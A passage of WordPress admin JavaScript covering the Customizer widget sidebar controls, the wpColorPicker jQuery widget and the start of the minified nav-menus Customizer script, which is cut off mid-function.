						wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );

						// Delete any widget form controls for removed widgets.
						if ( removedControl && ! wasDraggedToAnotherSidebar ) {
							api.control.remove( removedControl.id );
							removedControl.container.remove();
						}

						// Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved.
						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets.
						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
							inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
							inactiveWidgets.push( removedWidgetId );
							api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
						}

						// Make old single widget available for adding again.
						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
						if ( widget && ! widget.get( 'is_multi' ) ) {
							widget.set( 'is_disabled', false );
						}
					} );

				} );
			} );
		},

		/**
		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
		 */
		_setupSortable: function() {
			var self = this;

			this.isReordering = false;

			/**
			 * Update widget order setting when controls are re-ordered
			 */
			this.$sectionContent.sortable( {
				items: '> .customize-control-widget_form',
				handle: '.widget-top',
				axis: 'y',
				tolerance: 'pointer',
				connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
				update: function() {
					var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;

					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
						return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
					} );

					self.setting( widgetIds );
				}
			} );

			/**
			 * Expand other Customizer sidebar section when dragging a control widget over it,
			 * allowing the control to be dropped into another section
			 */
			this.$controlSection.find( '.accordion-section-title' ).droppable({
				accept: '.customize-control-widget_form',
				over: function() {
					var section = api.section( self.section.get() );
					section.expand({
						allowMultiple: true, // Prevent the section being dragged from to be collapsed.
						completeCallback: function () {
							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed.
							api.section.each( function ( otherSection ) {
								if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
									otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
								}
							} );
						}
					});
				}
			});

			/**
			 * Keyboard-accessible reordering
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				self.toggleReordering( ! self.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new widget
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-widget' ).on( 'click', function() {
				var addNewWidgetBtn = $( this );

				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
					addNewWidgetBtn.attr( 'aria-expanded', 'true' );
					api.Widgets.availableWidgetsPanel.open( self );
				} else {
					addNewWidgetBtn.attr( 'aria-expanded', 'false' );
					api.Widgets.availableWidgetsPanel.close();
				}
			} );
		},

		/**
		 * Add classes to the widget_form controls to assist with styling
		 */
		_applyCardinalOrderClassNames: function() {
			var widgetControls = [];
			_.each( this.setting(), function ( widgetId ) {
				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
				if ( widgetControl ) {
					widgetControls.push( widgetControl );
				}
			});

			if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) {
				this.container.find( '.reorder-toggle' ).hide();
				return;
			} else {
				this.container.find( '.reorder-toggle' ).show();
			}

			$( widgetControls ).each( function () {
				$( this.container )
					.removeClass( 'first-widget' )
					.removeClass( 'last-widget' )
					.find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
			});

			_.first( widgetControls ).container
				.addClass( 'first-widget' )
				.find( '.move-widget-up' ).prop( 'tabIndex', -1 );

			_.last( widgetControls ).container
				.addClass( 'last-widget' )
				.find( '.move-widget-down' ).prop( 'tabIndex', -1 );
		},


		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 *
		 * @todo We should have a reordering state instead and rename this to onChangeReordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				widgetsTitle = this.$sectionContent.find( '.widget-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );

			if ( showOrHide ) {
				_( this.getWidgetFormControls() ).each( function( formControl ) {
					formControl.collapse();
				} );

				addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOff );
				wp.a11y.speak( l10n.reorderModeOn );
				// Hide widget titles while reordering: title is already in the reorder controls.
				widgetsTitle.attr( 'aria-hidden', 'true' );
			} else {
				addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', l10n.reorderLabelOn );
				wp.a11y.speak( l10n.reorderModeOff );
				widgetsTitle.attr( 'aria-hidden', 'false' );
			}
		},

		/**
		 * Get the widget_form Customize controls associated with the current sidebar.
		 *
		 * @since 3.9.0
		 * @return {wp.customize.controlConstructor.widget_form[]}
		 */
		getWidgetFormControls: function() {
			var formControls = [];

			_( this.setting() ).each( function( widgetId ) {
				var settingId = widgetIdToSettingId( widgetId ),
					formControl = api.control( settingId );
				if ( formControl ) {
					formControls.push( formControl );
				}
			} );

			return formControls;
		},

		/**
		 * @param {string} widgetId or an id_base for adding a previously non-existing widget.
		 * @return {Object|false} widget_form control instance, or false on error.
		 */
		addWidget: function( widgetId ) {
			var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
				parsedWidgetId = parseWidgetId( widgetId ),
				widgetNumber = parsedWidgetId.number,
				widgetIdBase = parsedWidgetId.id_base,
				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;

			if ( ! widget ) {
				return false;
			}

			if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
				return false;
			}

			// Set up new multi widget.
			if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
				widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
				widgetNumber = widget.get( 'multi_number' );
			}

			controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim();
			if ( widget.get( 'is_multi' ) ) {
				controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
					return m.replace( /__i__|%i%/g, widgetNumber );
				} );
			} else {
				widget.set( 'is_disabled', true ); // Prevent single widget from being added again now.
			}

			$widget = $( controlHtml );

			controlContainer = $( '<li/>' )
				.addClass( 'customize-control' )
				.addClass( 'customize-control-' + controlType )
				.append( $widget );

			// Remove icon which is visible inside the panel.
			controlContainer.find( '> .widget-icon' ).remove();

			if ( widget.get( 'is_multi' ) ) {
				controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
				controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
			}

			widgetId = controlContainer.find( '[name="widget-id"]' ).val();

			controlContainer.hide(); // To be slid-down below.

			settingId = 'widget_' + widget.get( 'id_base' );
			if ( widget.get( 'is_multi' ) ) {
				settingId += '[' + widgetNumber + ']';
			}
			controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );

			// Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget).
			isExistingWidget = api.has( settingId );
			if ( ! isExistingWidget ) {
				settingArgs = {
					transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh',
					previewer: this.setting.previewer
				};
				setting = api.create( settingId, settingId, '', settingArgs );
				setting.set( {} ); // Mark dirty, changing from '' to {}.
			}

			controlConstructor = api.controlConstructor[controlType];
			widgetFormControl = new controlConstructor( settingId, {
				settings: {
					'default': settingId
				},
				content: controlContainer,
				sidebar_id: self.params.sidebar_id,
				widget_id: widgetId,
				widget_id_base: widget.get( 'id_base' ),
				type: controlType,
				is_new: ! isExistingWidget,
				width: widget.get( 'width' ),
				height: widget.get( 'height' ),
				is_wide: widget.get( 'is_wide' )
			} );
			api.control.add( widgetFormControl );

			// Make sure widget is removed from the other sidebars.
			api.each( function( otherSetting ) {
				if ( otherSetting.id === self.setting.id ) {
					return;
				}

				if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
					return;
				}

				var otherSidebarWidgets = otherSetting().slice(),
					i = _.indexOf( otherSidebarWidgets, widgetId );

				if ( -1 !== i ) {
					otherSidebarWidgets.splice( i );
					otherSetting( otherSidebarWidgets );
				}
			} );

			// Add widget to this sidebar.
			sidebarWidgets = this.setting().slice();
			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
				sidebarWidgets.push( widgetId );
				this.setting( sidebarWidgets );
			}

			controlContainer.slideDown( function() {
				if ( isExistingWidget ) {
					widgetFormControl.updateWidget( {
						instance: widgetFormControl.setting()
					} );
				}
			} );

			return widgetFormControl;
		}
	} );

	// Register models for custom panel, section, and control types.
	$.extend( api.panelConstructor, {
		widgets: api.Widgets.WidgetsPanel
	});
	$.extend( api.sectionConstructor, {
		sidebar: api.Widgets.SidebarSection
	});
	$.extend( api.controlConstructor, {
		widget_form: api.Widgets.WidgetControl,
		sidebar_widgets: api.Widgets.SidebarControl
	});

	/**
	 * Init Customizer for widgets.
	 */
	api.bind( 'ready', function() {
		// Set up the widgets panel.
		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
			collection: api.Widgets.availableWidgets
		});

		// Highlight widget control.
		api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );

		// Open and focus widget control.
		api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
	} );

	/**
	 * Highlight a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.highlightSectionAndControl();
		}
	},

	/**
	 * Focus a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.focusWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.focus();
		}
	},

	/**
	 * Given a widget control, find the sidebar widgets control that contains it.
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
		var foundControl = null;

		// @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl().
		api.control.each( function( control ) {
			if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
	 *
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
		var foundControl = null;

		// @todo We can just use widgetIdToSettingId() here.
		api.control.each( function( control ) {
			if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Initialize Edit Menu button in Nav Menu widget.
	 */
	$( document ).on( 'widget-added', function( event, widgetContainer ) {
		var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
		parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() );
		if ( 'nav_menu' !== parsedWidgetId.id_base ) {
			return;
		}
		widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' );
		if ( ! widgetControl ) {
			return;
		}
		navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' );
		editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' );
		if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
			return;
		}
		navMenuSelect.on( 'change', function() {
			if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) {
				editMenuButton.parent().show();
			} else {
				editMenuButton.parent().hide();
			}
		});
		editMenuButton.on( 'click', function() {
			var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' );
			if ( section ) {
				focusConstructWithBreadcrumb( section, widgetControl );
			}
		} );
	} );

	/**
	 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
	 *
	 * This overrides the back button to serve the purpose of breadcrumb navigation.
	 *
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
	 */
	function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
		focusConstruct.focus();
		function onceCollapsed( isExpanded ) {
			if ( ! isExpanded ) {
				focusConstruct.expanded.unbind( onceCollapsed );
				returnConstruct.focus();
			}
		}
		focusConstruct.expanded.bind( onceCollapsed );
	}

	/**
	 * @param {string} widgetId
	 * @return {Object}
	 */
	function parseWidgetId( widgetId ) {
		var matches, parsed = {
			number: null,
			id_base: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.id_base = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			// Likely an old single widget.
			parsed.id_base = widgetId;
		}

		return parsed;
	}

	/**
	 * @param {string} widgetId
	 * @return {string} settingId
	 */
	function widgetIdToSettingId( widgetId ) {
		var parsed = parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.id_base;
		if ( parsed.number ) {
			settingId += '[' + parsed.number + ']';
		}

		return settingId;
	}

})( window.wp, jQuery );
/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );
/*! This file is auto-generated */
!function(c,l,m){"use strict";function u(e){return(e=(e=l.sanitize.stripTagsAndEncodeText(e=e||"")).toString().trim())||c.Menus.data.l10n.unnamed}wpNavMenu.originalInit=wpNavMenu.init,wpNavMenu.options.menuItemDepthPerLevel=20,wpNavMenu.options.sortableItems="> .customize-control-nav_menu_item",wpNavMenu.options.targetTolerance=10,wpNavMenu.init=function(){this.jQueryExtensions()},c.Menus=c.Menus||{},c.Menus.data={itemTypes:[],l10n:{},settingTransport:"refresh",phpIntMax:0,defaultSettingValues:{nav_menu:{},nav_menu_item:{}},locationSlugMappedToName:{}},"undefined"!=typeof _wpCustomizeNavMenusSettings&&m.extend(c.Menus.data,_wpCustomizeNavMenusSettings),c.Menus.generatePlaceholderAutoIncrementId=function(){return-Math.ceil(c.Menus.data.phpIntMax*Math.random())},c.Menus.AvailableItemModel=Backbone.Model.extend(m.extend({id:null},c.Menus.data.defaultSettingValues.nav_menu_item)),c.Menus.AvailableItemCollection=Backbone.Collection.extend({model:c.Menus.AvailableItemModel,sort_key:"order",comparator:function(e){return-e.get(this.sort_key)},sortByField:function(e){this.sort_key=e,this.sort()}}),c.Menus.availableMenuItems=new c.Menus.AvailableItemCollection(c.Menus.data.availableMenuItems),c.Menus.insertAutoDraftPost=function(n){var i=m.Deferred(),e=l.ajax.post("customize-nav-menus-insert-auto-draft",{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",customize_changeset_uuid:c.settings.changeset.uuid,params:n});return e.done(function(t){t.post_id&&(c("nav_menus_created_posts").set(c("nav_menus_created_posts").get().concat([t.post_id])),"page"===n.post_type&&(c.section.has("static_front_page")&&c.section("static_front_page").activate(),c.control.each(function(e){"dropdown-pages"===e.params.type&&e.container.find('select[name^="_customize-dropdown-pages-"]').append(new Option(n.post_title,t.post_id))})),i.resolve(t))}),e.fail(function(e){var t=e||"";void 0!==e.message&&(t=e.message),console.error(t),i.rejectWith(t)}),i.promise()},c.Menus.AvailableMenuItemsPanelView=l.Backbone.View.extend({el:"#available-menu-items",events:{"input #menu-items-search":"debounceSearch","focus .menu-item-tpl":"focus","click .menu-item-tpl":"_submit","click #custom-menu-item-submit":"_submitLink","keypress #custom-menu-item-name":"_submitLink","click .new-content-item .add-content":"_submitNew","keypress .create-item-input":"_submitNew",keydown:"keyboardAccessible"},selected:null,currentMenuControl:null,debounceSearch:null,$search:null,$clearResults:null,searchTerm:"",rendered:!1,pages:{},sectionContent:"",loading:!1,addingNew:!1,initialize:function(){var n=this;c.panel.has("nav_menus")&&(this.$search=m("#menu-items-search"),this.$clearResults=this.$el.find(".clear-results"),this.sectionContent=this.$el.find(".available-menu-items-list"),this.debounceSearch=_.debounce(n.search,500),_.bindAll(this,"close"),m("#customize-controls, .customize-section-back").on("click keydown",function(e){var t=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||t||e||n.close()}),this.$clearResults.on("click",function(){n.$search.val("").trigger("focus").trigger("input")}),this.$el.on("input","#custom-menu-item-name.invalid, #custom-menu-item-url.invalid",function(){m(this).removeClass("invalid")}),c.panel("nav_menus").container.on("expanded",function(){n.rendered||(n.initList(),n.rendered=!0)}),this.sectionContent.on("scroll",function(){var e=n.$el.find(".accordion-section.open .available-menu-items-list").prop("scrollHeight"),t=n.$el.find(".accordion-section.open").height();!n.loading&&m(this).scrollTop()>.75*e-t&&(e=m(this).data("type"),t=m(this).data("object"),"search"===e?n.searchTerm&&n.doSearch(n.pages.search):n.loadItems([{type:e,object:t}]))}),c.previewer.bind("url",this.close),n.delegateEvents())},search:function(e){var t=m("#available-menu-items-search"),n=m("#available-menu-items .accordion-section").not(t);e&&this.searchTerm!==e.target.value&&(""===e.target.value||t.hasClass("open")?""===e.target.value&&(t.removeClass("open"),n.show(),this.$clearResults.removeClass("is-visible")):(n.fadeOut(100),t.find(".accordion-section-content").slideDown("fast"),t.addClass("open"),this.$clearResults.addClass("is-visible")),this.searchTerm=e.target.value,this.pages.search=1,this.doSearch(1))},doSearch:function(t){var e,n=this,i=m("#available-menu-items-search"),a=i.find(".accordion-section-content"),o=l.template("available-menu-item");if(n.currentRequest&&n.currentRequest.abort(),!(t<0)){if(1<t)i.addClass("loading-more"),a.attr("aria-busy","true"),l.a11y.speak(c.Menus.data.l10n.itemsLoadingMore);else if(""===n.searchTerm)return a.html(""),void l.a11y.speak("");i.addClass("loading"),n.loading=!0,e=c.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",search:n.searchTerm,page:t}),n.currentRequest=l.ajax.post("search-available-menu-items-customizer",e),n.currentRequest.done(function(e){1===t&&a.empty(),i.removeClass("loading loading-more"),a.attr("aria-busy","false"),i.addClass("open"),n.loading=!1,e=new c.Menus.AvailableItemCollection(e.items),n.collection.add(e.models),e.each(function(e){a.append(o(e.attributes))}),e.length<20?n.pages.search=-1:n.pages.search=n.pages.search+1,e&&1<t?l.a11y.speak(c.Menus.data.l10n.itemsFoundMore.replace("%d",e.length)):e&&1===t&&l.a11y.speak(c.Menus.data.l10n.itemsFound.replace("%d",e.length))}),n.currentRequest.fail(function(e){e.message&&(a.empty().append(m('<li class="nothing-found"></li>').text(e.message)),l.a11y.speak(e.message)),n.pages.search=-1}),n.currentRequest.always(function(){i.removeClass("loading loading-more"),a.attr("aria-busy","false"),n.loading=!1,n.currentRequest=null})}},initList:function(){var t=this;_.each(c.Menus.data.itemTypes,function(e){t.pages[e.type+":"+e.object]=0}),t.loadItems(c.Menus.data.itemTypes)},loadItems:function(e,t){var i=this,a=[],o={},s=l.template("available-menu-item"),t=_.isString(e)&&_.isString(t)?[{type:e,object:t}]:e;_.each(t,function(e){var t,n=e.type+":"+e.object;-1!==i.pages[n]&&((t=m("#available-menu-items-"+e.type+"-"+e.object)).find(".accordion-section-title").addClass("loading"),o[n]=t,a.push({object:e.object,type:e.type,page:i.pages[n]}))}),0!==a.length&&(i.loading=!0,e=c.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",item_types:a}),(t=l.ajax.post("load-available-menu-items-customizer",e)).done(function(e){var n;_.each(e.items,function(e,t){0===e.length?(0===i.pages[t]&&o[t].find(".accordion-section-title").addClass("cannot-expand").removeClass("loading").find(".accordion-section-title > button").prop("tabIndex",-1),i.pages[t]=-1):("post_type:page"!==t||o[t].hasClass("open")||o[t].find(".accordion-section-title > button").trigger("click"),e=new c.Menus.AvailableItemCollection(e),i.collection.add(e.models),n=o[t].find(".available-menu-items-list"),e.each(function(e){n.append(s(e.attributes))}),i.pages[t]+=1)})}),t.fail(function(e){"undefined"!=typeof console&&console.error&&console.error(e)}),t.always(function(){_.each(o,function(e){e.find(".accordion-section-title").removeClass("loading")}),i.loading=!1}))},itemSectionHeight:function(){var e=window.innerHeight,t=this.$el.find(".accordion-section:not( #available-menu-items-search ) .accordion-section-content"),n=this.$el.find('.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")'),e=e-(46*(1+t.length)+14);120<e&&e<290&&(t.css("max-height",e),n.css("max-height",e-60))},select:function(e){this.selected=m(e),this.selected.siblings(".menu-item-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(m(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(m(e.currentTarget))},submit:function(e){var 